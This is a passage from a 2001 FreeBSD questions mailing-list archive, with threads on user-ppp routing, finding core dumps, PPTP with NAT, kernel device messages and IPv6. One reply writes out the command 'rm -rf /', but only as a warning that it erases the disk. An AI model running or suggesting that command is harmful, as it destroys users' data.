freebsd-questions@FreeBSD.org Subject: From: mikeirw@elementalspace.com User-Agent: Instant Web Mail 0.53 Content-Type: text/plain; charset="ISO-8859-1" Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG I'm having some trouble getting user-ppp to work correctly. I start user-ppp by typing ppp, and then dial agn. I get connected to my ISP (which uses PAP), and get an IP address, but when trying to do a ping or traceroute, I get nothing - no response whatsoever, no matter if I use a domain name or an IP address. Would this be a routing issue? I'm including my config files, and a netstat before and after connecting. I am not including the ppp.log, but will if necessary for further troubleshooting. Thanks in advance for your time, as I've been banging my head against the wall on this one. Mike Irwin mikeirw@elementalspace.com --------------- ppp.conf --------------- default: set log Phase Chat LCP IPCP CCP tun command ident user-ppp VERSION (built COMPILATIONDATE) set device /dev/cuaa1 set speed 115200 set dial "ABORT BUSY ABORT NO\\sCARRIER TIMEOUT 5\ \"\" AT OK-AT-OK ATE1Q0 OK \\dATDT\\T TIMEOUT 40 CONNECT" set timeout 180 enable dns agn: set phone Mynumber set authname Myuserid set authkey Mypasswd set timeout 0 set ifaddr 10.0.0.1/0 10.0.0.2/0 255.255.255.0 0.0.0.0 --------------- ppp.linkup --------------- agn: add default HISADDR --------------- ppp.secret --------------- Myuserid Mypasswd * agn --------------- host.conf --------------- hosts bind --------------- hosts --------------- 127.0.0.1 localhost.bar.com localhost ::1 localhost.bar.com localhost 10.0.0.1 foo.bar.com foo --------------- resolv.conf --------------- domain attglobal.net nameserver 165.87.13.129 nameserver 165.87.201.244 nameserver 165.87.194.244 --------------- rc.conf --------------- hostname="foo.bar.com" nfs_reserved_port_only="YES" sendmail_enable="YES" sshd_enable="YES" router_enable="NO" --------------- netstat -rn (BEFORE) --------------- Routing tables Internet: Destination Gateway Flags Refs Use Netif Expire 127.0.0.1 127.0.0.1 UH 0 16 lo0 Internet6: Destination Gateway Flags Netif Expire ::1 ::1 UH lo0 fe80::%lo0/64 fe80::1%lo0 Uc lo0 fe80::1%lo0 link#2 UHL lo0 fe80::%tun0/64 fe80::2c50:cf97:11f5:9181%tun0 Uc tun0 fe80::2c50:cf97:11f5:9181%tun0 link#6 UHL tun0 ff01::/32 ::1 U lo0 ff02::%lo0/32 ::1 UC lo0 ff02::%tun0/32 fe80::2c50:cf97:11f5:9181%tun0 UC tun0 --------------- netstat -rn (AFTER) --------------- Routing tables Internet: Destination Gateway Flags Refs Use Netif Expire default 12.67.1.52 UGSc 0 0 tun0 12.67.1.52 12.64.128.190 UH 1 0 tun0 127.0.0.1 127.0.0.1 UH 0 16 lo0 Internet6: Destination Gateway Flags Netif Expire ::1 ::1 UH lo0 fe80::%lo0/64 fe80::1%lo0 Uc lo0 fe80::1%lo0 link#2 UHL lo0 fe80::%tun0/64 fe80::2c50:cf97:11f5:9181%tun0 Uc tun0 fe80::2c50:cf97:11f5:9181%tun0 link#6 UHL tun0 ff01::/32 ::1 U lo0 ff02::%lo0/32 ::1 UC lo0 ff02::%tun0/32 fe80::2c50:cf97:11f5:9181%tun0 UC tun0 --------------- ifconfig -u tun0 (AFTER) --------------- tun0: flags=8051 mtu 1500 inet6 fe80::2c50:cf97:11f5:9181%tun0 prefixlen 64 scopeid 0x6 inet 12.64.128.190 --> 12.67.1.52 network 0xffffff00 opened by PID 336 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Fri Nov 23 14:50:46 2001 Delivered-To: freebsd-questions@freebsd.org Received: from ampa.pair.com (ampa.pair.com [209.68.1.113]) by hub.freebsd.org (Postfix) with SMTP id E7CAF37B416 for ; Fri, 23 Nov 2001 14:50:40 -0800 (PST) Received: (qmail 39992 invoked by uid 65534); 23 Nov 2001 22:50:39 -0000 Date: 23 Nov 2001 22:50:39 -0000 Message-ID: <20011123225039.39991.qmail@ampa.pair.com> To: freebsd-questions@FreeBSD.org Subject: User-PPP Problems From: mikeirw@elementalspace.com User-Agent: Instant Web Mail 0.53 Content-Type: text/plain; charset="ISO-8859-1" Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG I'm having some trouble getting user-ppp to work correctly. I start user-ppp by typing ppp, and then dial agn. I get connected to my ISP, and get an IP address, but when trying to do a ping or traceroute, I get nothing - no response whatsoever, no matter if I use a domain name or an IP address. Is this a routing issue? I'm including my config files, and a netstat before and after connecting. I am not including the ppp.log, but will if necessary for further troubleshooting. Thanks in advance for your time, as I've been banging my head against the wall on this one. Mike Irwin mikeirw@elementalspace.com --------------- ppp.conf --------------- default: set log Phase Chat LCP IPCP CCP tun command ident user-ppp VERSION (built COMPILATIONDATE) set device /dev/cuaa1 set speed 115200 set dial "ABORT BUSY ABORT NO\\sCARRIER TIMEOUT 5\ \"\" AT OK-AT-OK ATE1Q0 OK \\dATDT\\T TIMEOUT 40 CONNECT" set timeout 180 enable dns agn: set phone Mynumber set authname Myuserid set authkey Mypasswd set timeout 0 set ifaddr 10.0.0.1/0 10.0.0.2/0 255.255.255.0 0.0.0.0 --------------- ppp.linkup --------------- agn: add default HISADDR --------------- ppp.secret --------------- Myuserid Mypasswd * agn --------------- host.conf --------------- hosts bind --------------- hosts --------------- 127.0.0.1 localhost.bar.com localhost ::1 localhost.bar.com localhost 10.0.0.1 foo.bar.com foo --------------- resolv.conf --------------- domain attglobal.net nameserver 165.87.13.129 nameserver 165.87.201.244 nameserver 165.87.194.244 --------------- rc.conf --------------- hostname="foo.bar.com" nfs_reserved_port_only="YES" sendmail_enable="YES" sshd_enable="YES" router_enable="NO" --------------- netstat -rn (BEFORE) --------------- Routing tables Internet: Destination Gateway Flags Refs Use Netif Expire 127.0.0.1 127.0.0.1 UH 0 16 lo0 Internet6: Destination Gateway Flags Netif Expire ::1 ::1 UH lo0 fe80::%lo0/64 fe80::1%lo0 Uc lo0 fe80::1%lo0 link#2 UHL lo0 fe80::%tun0/64 fe80::2c50:cf97:11f5:9181%tun0 Uc tun0 fe80::2c50:cf97:11f5:9181%tun0 link#6 UHL tun0 ff01::/32 ::1 U lo0 ff02::%lo0/32 ::1 UC lo0 ff02::%tun0/32 fe80::2c50:cf97:11f5:9181%tun0 UC tun0 --------------- netstat -rn (AFTER) --------------- Routing tables Internet: Destination Gateway Flags Refs Use Netif Expire default 12.67.1.52 UGSc 0 0 tun0 12.67.1.52 12.64.128.190 UH 1 0 tun0 127.0.0.1 127.0.0.1 UH 0 16 lo0 Internet6: Destination Gateway Flags Netif Expire ::1 ::1 UH lo0 fe80::%lo0/64 fe80::1%lo0 Uc lo0 fe80::1%lo0 link#2 UHL lo0 fe80::%tun0/64 fe80::2c50:cf97:11f5:9181%tun0 Uc tun0 fe80::2c50:cf97:11f5:9181%tun0 link#6 UHL tun0 ff01::/32 ::1 U lo0 ff02::%lo0/32 ::1 UC lo0 ff02::%tun0/32 fe80::2c50:cf97:11f5:9181%tun0 UC tun0 --------------- ifconfig -u tun0 (AFTER) --------------- tun0: flags=8051 mtu 1500 inet6 fe80::2c50:cf97:11f5:9181%tun0 prefixlen 64 scopeid 0x6 inet 12.64.128.190 --> 12.67.1.52 network 0xffffff00 opened by PID 336 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Fri Nov 23 15:19:23 2001 Delivered-To: freebsd-questions@freebsd.org Received: from tomts7-srv.bellnexxia.net (tomts7.bellnexxia.net [209.226.175.40]) by hub.freebsd.org (Postfix) with ESMTP id CED5137B416 for ; Fri, 23 Nov 2001 15:19:21 -0800 (PST) Received: from prayforwind.com ([199.243.146.213]) by tomts7-srv.bellnexxia.net (InterMail vM.4.01.03.16 201-229-121-116-20010115) with ESMTP id <20011123231915.QPGS9080.tomts7-srv.bellnexxia.net@prayforwind.com> for ; Fri, 23 Nov 2001 18:19:15 -0500 Received: (from gtabug@localhost) by prayforwind.com (8.11.6/8.11.6) id fANNT2600544 for questions@freebsd.org; Fri, 23 Nov 2001 18:29:02 -0500 (EST) (envelope-from gtabug) Date: Fri, 23 Nov 2001 18:29:01 -0500 From: Steve Brown To: questions@freebsd.org Subject: .CORE files Message-ID: <20011123182901.A529@prayforwind.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Hello there, From time to time Netscape bonks out and when I leave X I find the message "Netscape blah blah core dumped" Sometimes I can find a .CORE file, other times I don't know where to look. So I have 2 questions: - How can I find -ALL- *CORE files, is there an equivalent of the old MS DOS "dir /s" ? - Why does it "dump core"? Am I supposed to do something with the resulting file? Appreciate any advice, or hints as to where to RTFM. Thanks in advance, Steve To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Fri Nov 23 15:26:32 2001 Delivered-To: freebsd-questions@freebsd.org Received: from IMGate1.cshore.com (imgate1.cshore.com [63.237.136.14]) by hub.freebsd.org (Postfix) with ESMTP id 2D8A737B405 for ; Fri, 23 Nov 2001 15:26:29 -0800 (PST) Received: from there (dialup-uu-dynamic27.cshore.com [63.112.158.27]) by IMGate1.cshore.com (Postfix) with SMTP id 4C65323F3A; Fri, 23 Nov 2001 18:51:06 -0500 (EST) Content-Type: text/plain; charset="iso-8859-1" From: Matthew Graybosch Reply-To: matthew@starbreaker.net Organization: starbreaker.net Message-Id: <200111231827.55158@starbreaker.net> To: Steve Brown Subject: Re: .CORE files Date: Fri, 23 Nov 2001 18:33:52 -0500 X-Mailer: KMail [version 1.3] References: <20011123182901.A529@prayforwind.com> In-Reply-To: <20011123182901.A529@prayforwind.com> Cc: freebsd-questions@freebsd.org MIME-Version: 1.0 Content-Transfer-Encoding: 8bit Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 On Friday 23 November 2001 18:29, you wrote: > - How can I find -ALL- *CORE files, is there an equivalent > of the old MS DOS "dir /s" ? Use "ls -R *.core" to find all core dumps, starting in your current directory. If you don't know what your current directory is, type "pwd" to display it. You can also type "cd" by itself to move immediately to your /home directory. Read "man ls", "man pwd", and "man cd" for more information. > - Why does it "dump core"? Am I supposed to do something > with the resulting file? Core dumps are mainly for debugging. A skilled C/C++ programmer can run a core dump through a debugger like gdb in order to find out why a program crashed. Unless you want to try to trace a bug using a core dump, it's usually safe to find them all and remove them using the rm command. Better read "man rm" as well. Oh, and whatever you do, don't type "rm -rf /" as root unless you REALLY REALLY *REALLY MEAN IT*. Doing so will nuke everything on your hard drive(s). - -- Matthew Graybosch http://www.starbreaker.net GnuPG Key ID: 0x7D488659 "Sex, Unix, and rock 'n roll" -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (FreeBSD) Comment: For info see http://www.gnupg.org iD8DBQE7/tzgcCiK1X1IhlkRAjPEAJ9u0mA5gNEjGAWyNFNudNPvJ1rRJgCePQAZ D72prJcMa85u46KBdY3Pn9w= =app0 -----END PGP SIGNATURE----- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Fri Nov 23 15:31:12 2001 Delivered-To: freebsd-questions@freebsd.org Received: from mail5.carolina.rr.com (fe5.southeast.rr.com [24.93.67.52]) by hub.freebsd.org (Postfix) with ESMTP id D214D37B417 for ; Fri, 23 Nov 2001 15:31:06 -0800 (PST) Received: from snafu.enterit.com ([66.57.159.198]) by mail5.carolina.rr.com with Microsoft SMTPSVC(5.5.1877.687.68); Fri, 23 Nov 2001 18:31:05 -0500 Message-Id: <5.1.0.14.0.20011123185020.030944e0@mail.enterit.com> X-Sender: jconner@enterit.com@mail.enterit.com X-Mailer: QUALCOMM Windows Eudora Version 5.1 Date: Fri, 23 Nov 2001 18:55:03 -0500 To: Steve Brown From: Jim Conner Subject: Re: .CORE files Cc: questions@freebsd.org In-Reply-To: <20011123182901.A529@prayforwind.com> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG At 18:29 11.23.2001 -0500, Steve Brown wrote: >Hello there, > > >From time to time Netscape bonks out and when I leave X >I find the message "Netscape blah blah core dumped" >Sometimes I can find a .CORE file, other times I don't >know where to look. So I have 2 questions: > >- How can I find -ALL- *CORE files, is there an equivalent > of the old MS DOS "dir /s" ? >- Why does it "dump core"? Am I supposed to do something > with the resulting file? 1. find / -name "*core" -type f -ls Be careful about cores that you find. Only remove those that are actually core files. You can use the command: file corename That should tell you if the file is a real core file or not since there are other files on the system (or directories which you shouldn't see with my find command stated above) that are called core. 2. Netscape cores on probably everybody's machine at some time or another. It is usually the result of poor coding (on Netscape's part) and sometimes its the result of a poorly admin'ed system. In your case, I would bet its netscapes code since I know a ton of people that get this problem. It could also be a poorly set up Netscape that could cause cores. Usually, the best thing to do is to remove the core file since its really not needed for your sake. OR, you could send the core dumps to Netscape so that they can examine why the core happened which is the purpose of core dumps anyway. A core file is a physical readout of the memory that netscape was using at the time it core'd. - Jim >Appreciate any advice, or hints as to where to RTFM. > >Thanks in advance, >Steve > > >To Unsubscribe: send mail to majordomo@FreeBSD.org >with "unsubscribe freebsd-questions" in the body of the message - Jim -~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~- http://www.perlmonks.org/index.pl?node_id=67861&lastnode_id=67861 -----BEGIN PERL GEEK CODE BLOCK----- ------BEGIN GEEK CODE BLOCK------ Version: 0.01 Version: 3.12 P++>*@$c?P6?R+++>++++@$M GIT/CM/J d++(--) s++:++ a- >++++$O!MA->++++E!> PU-->+++BD C++++(+) UB++++$L++++$S++++$ $C-@D!>++++(-)$S++++@$X?WP+>++++MO!>+++ P++(+)>+++++ L+++(++++)>+++++$ !E* +PP+++>++++n-CO?PO!o >++++G W++(+++) N+ o !K w--- PS---(-)@ PE >*(!)$A-->++++@$Ee---(-)Ev++uL++>*@$uB+ Y+>+++ PGP t+(+++)>+++@ 5- X++ R@ >*@$uS+>*@$uH+uo+w-@$m! tv+ b? DI-(+++) D+++(++) G(++++) ------END PERL GEEK CODE BLOCK------ ------END GEEK CODE BLOCK------ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Fri Nov 23 15:36: 2 2001 Delivered-To: freebsd-questions@freebsd.org Received: from hotmail.com (f118.law3.hotmail.com [209.185.241.118]) by hub.freebsd.org (Postfix) with ESMTP id C2A7A37B405 for ; Fri, 23 Nov 2001 15:36:00 -0800 (PST) Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC; Fri, 23 Nov 2001 15:36:00 -0800 Received: from 193.217.242.241 by lw3fd.law3.hotmail.msn.com with HTTP; Fri, 23 Nov 2001 23:36:00 GMT X-Originating-IP: [193.217.242.241] From: "Thor Legvold" To: freebsd-questions@freebsd.org Subject: VPN/PPTP & NAT Date: Fri, 23 Nov 2001 23:36:00 Mime-Version: 1.0 Content-Type: text/plain; format=flowed Message-ID: X-OriginalArrivalTime: 23 Nov 2001 23:36:00.0699 (UTC) FILETIME=[9BCE18B0:01C17477] Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG I've finally connected & authenticated successfully with my ISP, however my routing table get's really weird, and I can only use the net from the FBSD server, none of the clients can get out. I suspect I might have to do something with nat (the firewall is wide open, only diverting to nat and allowing all other from any to any. I've seen a few places mention allowing "gre" traffic, is this something I need to do in nat, or only for the firewall? Lastly, nat is run on the external iface (wi0 in my case), but since I'm doing pptp, I'm actually tunneling past nat, am I not? When connecting to an ISP with pptp, would I need to change the nat iface (like to f.ex. ppp0 or ng0?) or not? Regards, Thor _________________________________________________________________ Get your FREE download of MSN Explorer at http://explorer.msn.com/intl.asp To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Fri Nov 23 15:36:21 2001 Delivered-To: freebsd-questions@freebsd.org Received: from freebie.atkielski.com (ASt-Lambert-101-2-1-14.abo.wanadoo.fr [193.251.59.14]) by hub.freebsd.org (Postfix) with ESMTP id 3F78B37B405 for ; Fri, 23 Nov 2001 15:36:15 -0800 (PST) Received: from contactdish (win.atkielski.com [10.0.0.10]) by freebie.atkielski.com (8.11.3/8.11.3) with SMTP id fANNaCJ05013 for ; Sat, 24 Nov 2001 00:36:12 +0100 (CET) (envelope-from anthony@freebie.atkielski.com) Message-ID: <05c501c17477$a3498840$0a00000a@atkielski.com> From: "Anthony Atkielski" To: "FreeBSD Questions" Subject: Odd messages at startup after deleting device drivers Date: Sat, 24 Nov 2001 00:36:12 +0100 Organization: Anthony's Home Page (development site) MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4522.1200 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG I got bold yesterday and went into my custom kernel configuration and commented out all the devices that I don't have and don't think I'll be needed soon. Everything went find and the machine came back up (somewhat more quickly now!) after a reboot. However, I see the following messages during the boot: config> di sio1 No such device: sio1 Invalid command or syntax. Type `?' for help. config> di sio0 No such device: sio0 Invalid command or syntax. Type `?' for help. config> di sn0 No such device: sn0 Invalid command or syntax. Type `?' for help. config> di lnc0 No such device: lnc0 Invalid command or syntax. Type `?' for help. config> di ie0 No such device: ie0 Invalid command or syntax. Type `?' for help. config> di fe0 No such device: fe0 Invalid command or syntax. Type `?' for help. config> di cs0 No such device: cs0 Invalid command or syntax. Type `?' for help. config> di bt0 config> di aic0 config> di aha0 config> di adv0 config> q Who generates these messages, and what do they mean? The first two ports are serial ports; I commented them out because I have nothing attached to the serial ports. Should I have left them in? I assume that "disable" on the device directive means "disable this device," but does it also remove the overhead of the driver? Maybe the system is probing or being probed by the serial ports even though they are not used (?). There is no modem card in the machine. What are lnc0, ie0, fe0, and cs0? They were in the NIC section, so I thought (from the comments) that they were wireless NICs. Apparently they are something else. What do they do? Also, what are the other config commmands or messages doing? They didn't generate any error messages, but I don't recall seeing them on startup before (unless I just missed them). I wasn't sure if I could comment them out, as they appear to be generic SCSI controllers or something. I commented out the SCSI controllers that I knew I did not have, leaving only an EISA AHA1742 family (because I wasn't sure if it applied to me) and a AHA2940 family (because I'm pretty sure it _does_ apply to me--my one and only SCSI adapter is an Adaptec 2930). To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Fri Nov 23 15:39:10 2001 Delivered-To: freebsd-questions@freebsd.org Received: from freebie.atkielski.com (ASt-Lambert-101-2-1-14.abo.wanadoo.fr [193.251.59.14]) by hub.freebsd.org (Postfix) with ESMTP id 9FA6B37B405 for ; Fri, 23 Nov 2001 15:39:07 -0800 (PST) Received: from contactdish (win.atkielski.com [10.0.0.10]) by freebie.atkielski.com (8.11.3/8.11.3) with SMTP id fANNd5J05028 for ; Sat, 24 Nov 2001 00:39:05 +0100 (CET) (envelope-from anthony@freebie.atkielski.com) Message-ID: <05d301c17478$0a774250$0a00000a@atkielski.com> From: "Anthony Atkielski" To: "FreeBSD Questions" Subject: Disabling IPv6 support for now Date: Sat, 24 Nov 2001 00:39:05 +0100 Organization: Anthony's Home Page (development site) MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4522.1200 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG How much of the IPv6 stuff can I comment out in my configuration if I don't currently have a need for IPv6? Does having it increase overhead? Also, what is this "faith" interface I see? To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Fri Nov 23 15:42:58 2001 Delivered-To: freebsd-questions@freebsd.org Received: from mail5.carolina.rr.com (fe5.southeast.rr.com [24.93.67.52]) by hub.freebsd.org (Postfix) with ESMTP id C292337B405 for ; Fri, 23 Nov 2001 15:42:54 -0800 (PST) Received: from snafu.enterit.com ([66.57.159.198]) by mail5.carolina.rr.com with Microsoft SMTPSVC(5.5.1877.687.68); Fri, 23 Nov 2001 17:06:45 -0500 Message-Id: <5.1.0.14.0.20011123172728.02c61518@mail.enterit.com> X-Sender: jconner@enterit.com@mail.enterit.com X-Mailer: QUALCOMM Windows Eudora Version 5.1 Date: Fri, 23 Nov 2001 17:30:43 -0500 To: The Anarcat From: Jim Conner Subject: Re: can't do reverse dns with /etc/hosts Cc: cjclark@alum.mit.edu, FreeBSD Questions In-Reply-To: <20011123213032.GC26346@shall.anarcat.dyndns.org> References: <5.1.0.14.0.20011123164749.0245ec60@mail.enterit.com> <20011114173647.D66694@blossom.cjclark.org> <20011115012039.GA61093@shall.anarcat.dyndns.org> <20011114173647.D66694@blossom.cjclark.org> <5.1.0.14.0.20011123164749.0245ec60@mail.enterit.com> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG At 16:30 11.23.2001 -0500, The Anarcat wrote: >On Fri Nov 23, 2001 at 04:48:54PM -0500, Jim Conner wrote: > > At 16:14 11.23.2001 -0500, The Anarcat wrote: > > >On Wed Nov 14, 2001 at 05:36:47PM -0800, Crist J. Clark wrote: > > >> > > >> host(1) _always_ uses DNS. > > >> > > > > > >Doh! I should have RTFM... sorry. > > > > > >Is there a tool that doesn't use just DNS? > > > > grep hostname /etc/hosts > > grep password /etc/hosts > > > > Those ought to work. > >The thing is that I want to test the functionality of the resolver. > >I need a simple userland gethostby* interface. :) nslookup and host and >friends are all DNS oriented, IIUC. > >Anyways, I'll probably end up writing my own one-liner. ;) Unfortunately, I am not familiar with such a thing. I have been in need of the same kind of tool. I will be interested to see what others say. It seems obvious to me that this is not a name lookup mechanism but a type of Unix lookup since the /etc/hosts file was used way before DNS was ever thought up. There must be a built-in tool/library somewhere that can do what you are trying to accomplish. >A. - Jim -~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~- http://www.perlmonks.org/index.pl?node_id=67861&lastnode_id=67861 -----BEGIN PERL GEEK CODE BLOCK----- ------BEGIN GEEK CODE BLOCK------ Version: 0.01 Version: 3.12 P++>*@$c?P6?R+++>++++@$M GIT/CM/J d++(--) s++:++ a- >++++$O!MA->++++E!> PU-->+++BD C++++(+) UB++++$L++++$S++++$ $C-@D!>++++(-)$S++++@$X?WP+>++++MO!>+++ P++(+)>+++++ L+++(++++)>+++++$ !E* +PP+++>++++n-CO?PO!o >++++G W++(+++) N+ o !K w--- PS---(-)@ PE >*(!)$A-->++++@$Ee---(-)Ev++uL++>*@$uB+ Y+>+++ PGP t+(+++)>+++@ 5- X++ R@ >*@$uS+>*@$uH+uo+w-@$m! tv+ b? DI-(+++) D+++(++) G(++++) ------END PERL GEEK CODE BLOCK------ ------END GEEK CODE BLOCK------ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Fri Nov 23 15:44:56 2001 Delivered-To: freebsd-questions@freebsd.org Received: from mail7.carolina.rr.com (fe7.southeast.rr.com [24.93.67.54]) by hub.freebsd.org (Postfix) with ESMTP id 8A28B37B416 for ; Fri, 23 Nov 2001 15:44:51 -0800 (PST) Received: from snafu.enterit.com ([66.57.159.198]) by mail7.carolina.rr.com with Microsoft SMTPSVC(5.5.1877.687.68); Fri, 23 Nov 2001 18:44:42 -0500 Message-Id: <5.1.0.14.0.20011123190656.02e32cf8@mail.enterit.com> X-Sender: jconner@enterit.com@mail.enterit.com X-Mailer: QUALCOMM Windows Eudora Version 5.1 Date: Fri, 23 Nov 2001 19:08:40 -0500 To: "Anthony Atkielski" From: Jim Conner Subject: Re: Odd messages at startup after deleting device drivers Cc: "FreeBSD Questions" In-Reply-To: <05c501c17477$a3498840$0a00000a@atkielski.com> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG At 00:36 11.24.2001 +0100, Anthony Atkielski wrote: >I got bold yesterday and went into my custom kernel configuration and >commented >out all the devices that I don't have and don't think I'll be needed soon. >Everything went find and the machine came back up (somewhat more quickly now!) >after a reboot. However, I see the following messages during the boot: > >config> di sio1 >No such device: sio1 >Invalid command or syntax. Type `?' for help. >config> di sio0 >No such device: sio0 >Invalid command or syntax. Type `?' for help. >config> di sn0 >No such device: sn0 >Invalid command or syntax. Type `?' for help. >config> di lnc0 >No such device: lnc0 >Invalid command or syntax. Type `?' for help. >config> di ie0 >No such device: ie0 >Invalid command or syntax. Type `?' for help. >config> di fe0 >No such device: fe0 >Invalid command or syntax. Type `?' for help. >config> di cs0 >No such device: cs0 >Invalid command or syntax. Type `?' for help. >config> di bt0 >config> di aic0 >config> di aha0 >config> di adv0 >config> q > >Who generates these messages, and what do they mean? > >The first two ports are serial ports; I commented them out because I have >nothing attached to the serial ports. Should I have left them in? I assume >that "disable" on the device directive means "disable this device," but >does it >also remove the overhead of the driver? Maybe the system is probing or being >probed by the serial ports even though they are not used (?). There is no >modem >card in the machine. > >What are lnc0, ie0, fe0, and cs0? They were in the NIC section, so I thought >(from the comments) that they were wireless NICs. Apparently they are >something >else. What do they do? > >Also, what are the other config commmands or messages doing? They didn't >generate any error messages, but I don't recall seeing them on startup before >(unless I just missed them). I wasn't sure if I could comment them out, >as they >appear to be generic SCSI controllers or something. I commented out the SCSI >controllers that I knew I did not have, leaving only an EISA AHA1742 family >(because I wasn't sure if it applied to me) and a AHA2940 family (because I'm >pretty sure it _does_ apply to me--my one and only SCSI adapter is an Adaptec >2930). > cd /boot edit kernel.conf Remove the drivers out of there that you removed from the kernel. I suggest you make a backup copy of kernel.conf first. Then when you reboot the next time you shouldn't see any problems. >To Unsubscribe: send mail to majordomo@FreeBSD.org >with "unsubscribe freebsd-questions" in the body of the message - Jim -~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~- http://www.perlmonks.org/index.pl?node_id=67861&lastnode_id=67861 -----BEGIN PERL GEEK CODE BLOCK----- ------BEGIN GEEK CODE BLOCK------ Version: 0.01 Version: 3.12 P++>*@$c?P6?R+++>++++@$M GIT/CM/J d++(--) s++:++ a- >++++$O!MA->++++E!> PU-->+++BD C++++(+) UB++++$L++++$S++++$ $C-@D!>++++(-)$S++++@$X?WP+>++++MO!>+++ P++(+)>+++++ L+++(++++)>+++++$ !E* +PP+++>++++n-CO?PO!o >++++G W++(+++) N+ o !K w--- PS---(-)@ PE >*(!)$A-->++++@$Ee---(-)Ev++uL++>*@$uB+ Y+>+++ PGP t+(+++)>+++@ 5- X++ R@ >*@$uS+>*@$uH+uo+w-@$m! tv+ b? DI-(+++) D+++(++) G(++++) ------END PERL GEEK CODE BLOCK------ ------END GEEK CODE BLOCK------ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Fri Nov 23 15:45:44 2001 Delivered-To: freebsd-questions@freebsd.org Received: from Mail6.Carolina.rr.com (fe6.southeast.rr.com [24.93.67.53]) by hub.freebsd.org (Postfix) with ESMTP id ED57E37B405 for ; Fri, 23 Nov 2001 15:45:40 -0800 (PST) Received: from snafu.enterit.com ([66.57.159.198]) by Mail6.Carolina.rr.com with Microsoft SMTPSVC(5.5.1877.687.68); Fri, 23 Nov 2001 18:45:25 -0500 Message-Id: <5.1.0.14.0.20011123190852.02e33e40@mail.enterit.com> X-Sender: jconner@enterit.com@mail.enterit.com X-Mailer: QUALCOMM Windows Eudora Version 5.1 Date: Fri, 23 Nov 2001 19:09:23 -0500 To: "Anthony Atkielski" From: Jim Conner Subject: Re: Disabling IPv6 support for now Cc: "FreeBSD Questions" In-Reply-To: <05d301c17478$0a774250$0a00000a@atkielski.com> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG At 00:39 11.24.2001 +0100, Anthony Atkielski wrote: >How much of the IPv6 stuff can I comment out 